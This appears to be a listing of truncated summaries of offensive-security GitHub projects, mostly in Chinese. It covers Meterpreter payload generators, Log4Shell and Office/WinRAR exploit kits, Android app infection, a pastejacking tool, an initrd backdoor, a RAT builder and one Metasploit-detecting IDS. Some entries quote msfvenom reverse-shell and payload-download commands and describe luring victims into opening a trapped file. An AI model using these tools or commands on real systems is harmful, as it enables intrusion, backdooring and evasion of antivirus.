CVE-2018-20250

设置 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32bit：https://j2c.cc/winrar-550-32bit 操作步骤 Kali： ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows： git clone...

Auto-PostXploit

Auto-PostXploit Windows 自动后期利用 - 适用于 ReD 团队 https://github.com/emilyanncr/Windows-Post-Exploitation/ 下载： wget https://raw.githubusercontent.com/BehzaDMagzer/Auto-PostXploit/master/Auto-PostXploit.exe 用法： meterpreter upload %path%/Auto-PostXploit.exe C:/Users/%USETNAME%/AppData meterpreter execute...

CmdLineSpoofer

命令行欺骗器 这是一个使用 C 注入 meterpreter shell 并同时欺骗命令行的示例。命令行存储在进程环境块（PEB）中，在新进程启动时会被记录，并在诸如 Process Hacker 和任务管理器等工具中显示。 简介 此代码基于 Adam Chester/XPN 的博客 如何像 Cobalt Strike 一样争论，该博客解释了 Cobalt Strike 在注入 beacon 时如何欺骗进程的命令行。 我以此为基础创建了一个 C 版本，它生成一个 PowerShell 进程并注入 meterpreter 反向 shell。诚然，无需 .Net...

Meterpreter_Paranoid_Mode-SSL

MeterpreterParanoidMode v1.4 - SSL/TLS 连接 版本发布：v1.4（稳定版） 作者：pedro ubuntu r00t-3xp10it 支持发行版：Linux Kali、Mint、Ubuntu Suspicious-Shell-Activity SSA RedTeam 开发 @2017 描述： MeterpreterParanoidMode.sh 允许用户通过让 Meterpreter 检查其连接的处理器的证书，来保护 Meterpreter 的暂存（staged）或非暂存（stageless）连接。 我们首先生成一个 PEM...

payloadgenerator

PGen PGen 是一个用 Bash 编写的工具，用于通过 MSFvenom（Metasploit 框架的一部分）生成最常用的 Meterpreter 载荷。 关于 PGen 是 MSFvenom 的一个封装，提供了更友好的用户体验来生成多种类型的载荷。我们的目标是将生成载荷的过程尽可能简化，而不是让用户手动查找特定载荷。我们旨在简化初学者的流程，使其在道德黑客或 PWK 中更容易上手，并定制载荷生成体验。PGen 会提示用户输入目标相关信息，并在后台调用 msfvenom 生成载荷。 用户需要提供的信息 1. 平台：windows, linux, osx, android,...

l4srs

l4srs Log 4 Shell（log4j - CVE-2021-44228）的 Rust 实现 构建运行 cargo +nightly build 此版本允许您构建命令类，动态提供一个在被利用的 Java 应用线程中运行的小型 meterpreter，并同时运行 LDAP 和 HTTP 服务器。此版本在同一个端口上同时提供 LDAP 和 HTTP 请求。 您可以同时在多个端口上运行，以尝试查看目标机器上哪些出站端口可用。 如果请求不是 LDAP 或 HTTP，它可以代理请求到另一台机器（同样是同一端口）。如果目标机器只有一个出站端口，您可以在同一端口上提供...

EvilAbigail

Initrd 加密根文件系统攻击 场景 笔记本电脑处于关机状态，全盘加密（FDE）已开启 攻击者从 USB/CD/网络启动 脚本执行并后门化 initrd 用户返回笔记本电脑，正常启动 被后门化的 initrd 加载： Debian/Ubuntu/Kali 将 .so 文件注入 /sbin/init 启动过程中，弹出 shell Fedora/CentOS 通过 LDPRELOAD 将 .so 注入 DefaultEnviroment，全局加载，弹出 shell 支持的发行版 Ubuntu 14.04.3 Debian 8.2.0 Kali 2.0 Fedora 23 CentOS 7...

macphish

macphish Office for Mac Macro Payload Generator Attack vectors There are 4 attack vectors available: beacon creds meterpreter meterpreter-grant For the 'creds' method, macphish can generate the Applescript script directly, in case you need to run it from a shell. beacon On execution, this payload...

macphish

macphish Office for Mac 宏负载生成器 攻击向量 共有4种攻击向量可供选择： beacon creds meterpreter meterpreter-grant 对于 'creds' 方法，macphish 可以直接生成 Applescript 脚本，方便你在 shell 中运行。 beacon 执行此负载后，它会向我们的监听主机发送信号，并提供受害者的基本系统信息。生成 beacon 负载的最简单方式是： $./macphish.py -lh 默认情况下使用 curl，但可以通过修改命令模板来使用其他工具（wget、nslookup）。 creds...

kwetza

Introduction By Chris Le Roy @brompwnie [email protected] Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload. What does it do? Kwetza infects an existing Android application with either custom or default payload templates to avoid detection ...

kwetza

介绍 作者：Chris Le Roy @brompwnie [email protected] Kwetza 是一款允许你用 Meterpreter 载荷感染现有 Android 应用程序的工具。 它能做什么？ Kwetza 使用自定义或默认的载荷模板感染现有的 Android 应用程序，以规避防病毒软件的检测。Kwetza 允许你使用目标应用程序的默认权限感染 Android 应用程序，或注入额外权限以获得更多功能。 哪里可以找到博文？ Kwetza...

PasteJacker

PasteJacker 该工具的主要目的是自动化（PasteJacking/剪贴板投毒/随便你怎么称呼）攻击，将所有已知的攻击技巧集中在一个地方，并自动化执行。因为在搜索后，我发现没有工具能以正确的方式做到这一点 😄 由于这种攻击取决于用户将要粘贴的内容，我将Metasploit的web-delivery模块的想法实现到了工具中。因此，当用户粘贴到终端时，你就能在他的设备上获得meterpreter会话 😄 在YouTube上观看教程 什么是PasteJacking？ 简而言之，Pastejacking是一种恶意网站用来控制你电脑剪贴板并在你不知情的情况下将其内容更改为有害内容的方法。...

pentest_teamcity

使用 Metasploit 对 TeamCity 进行渗透测试 TL;DR: 从JetBrains IDE（例如 IntelliJ 或 PyCharm）获取密码，然后在 TeamCity 持续集成服务器 中使用这些凭据，以利用 metasploit 在服务器和构建代理上获取 meterpreter 会话——作者 Kacper Szurek。 JetBrains 评论 以下是来自供应商（JetBrains TeamCity 团队）的评论，由 Yegor Yarko 提供： 本文的大部分内容描述了恶意用户如何在获得合理权限的情况下滥用 TeamCity。...

antipwny

antipwny 作者：Rohan Vazarkar, David Bitner 一个基于主机的入侵检测/入侵防御系统（IDS/IPS），使用 C 编写，专门针对 Metasploit Payloads。 说明 AntiPwny 需要 .NET Framework 4.5，可从此处获取。 离线安装程序可在此处下载。 预编译的二进制文件位于根目录的 exe 文件夹中。请确保使用正确的平台，否则会出错！AntiPwny 运行需要包含的 DLL 文件。 AntiPwny 使用 Visual Studio 2012 Professional 编译。如需自行编译，请检出源代码并针对目标平台进行编译...

CVE-2017-8570

用法： 下载脚本后修改attackip为kali的ip，LPORT为msf要监听的端口，DIR为任意空目录 给脚本777的权限 chmod 777 auto 然后运行脚本 ./auto 然后在DIR+Office8570 目录下找到Invoice.ppsx文件，将其发送给被攻击者 被攻击者打开Invoice.ppsx文件后会利用powershell下载shell.exe，然后会返回一个meterpreter...

Shellcode-Injection-Techniques

Shellcode 注入技术 一系列 C Shellcode 注入技术。所有技术均使用 AES 加密的 meterpreter 有效载荷。 随着我学习、发现或开发更多技术，我将持续完善这个项目。 注意： 该项目不旨在直接使用。如果你打算使用任何技术，创建一个更小、定制的项目（仅包含所选技术）将更有可能绕过杀毒软件。 如果你确实使用了这些仓库中的任何代码，请确保合法使用！ Assembly Injection 如果你希望避免将 .Net 二进制文件写入磁盘，可以使用 PowerShell 程序集注入技术。 Shellcode 运行器 ShellcodeRunner.cs...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 概念验证 这是一个个人项目，运行一个简单的 POC，它将托管一个 LDAP 服务器和一个用于 Log4Shell 漏洞利用的 HTTP 服务器。 服务器 runservers.py 将设置一个精简版 meterpreter 客户端，该客户端将回调 LDAP 请求中传入的 Metasploit 实例。 这将在受 Log4Shell 漏洞影响的原始进程中 以线程方式运行 meterpreter 实例。 LDAP 服务器由 Java 编写，HTTP 服务器由 Python 托管，并 会从一个新创建的 wwwroot 目录提供内容。...

netrat

netrat Dependency Status 超简单的跨平台 Node.js RAT 生成器 一个用于生成可配置后门的简单工具，支持 Windows、Mac 和 Linux。Shell 可升级为 Meterpreter ！ 安装 $ npm install -g netrat 用法 $ netrat 它将启动构建流程，让你可以自定义你的后门。 在底层，我们使用 pkg 来构建可执行文件。 为了将构建体积缩小最多 4 倍，我建议你压缩自己的二进制文件。 NetRAT 已经提供了基本的压缩功能。 压缩 压缩功能得益于 UPX。 跨平台命令 以 cash 开头的命令由 cash...

msfpc

MSFvenom Payload Creator MSFPC A quick way to generate various "basic" Meterpreter payloads via msfvenom part of the Metasploit framework. About MSFvenom Payload Creator MSFPC is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible only...

msfpc

MSFvenom Payload Creator MSFPC 一种通过 msfvenom（Metasploit 框架的一部分）快速生成各种“基本”Meterpreter 有效载荷的工具。 关于 MSFvenom Payload Creator MSFPC 是一个封装工具，用于根据用户选择生成多种类型的有效载荷。其理念是尽可能简单 （只需一个输入 ）来生成有效载荷。 终极目标是完全自动化 msfvenom 和 Metasploit（当然也要能够自动化 MSFPC 本身）。其余部分则是为了让用户的生活尽可能轻松 （例如 IP 选择菜单 、msfconsole 资源文件/命令 、批量生成有效载...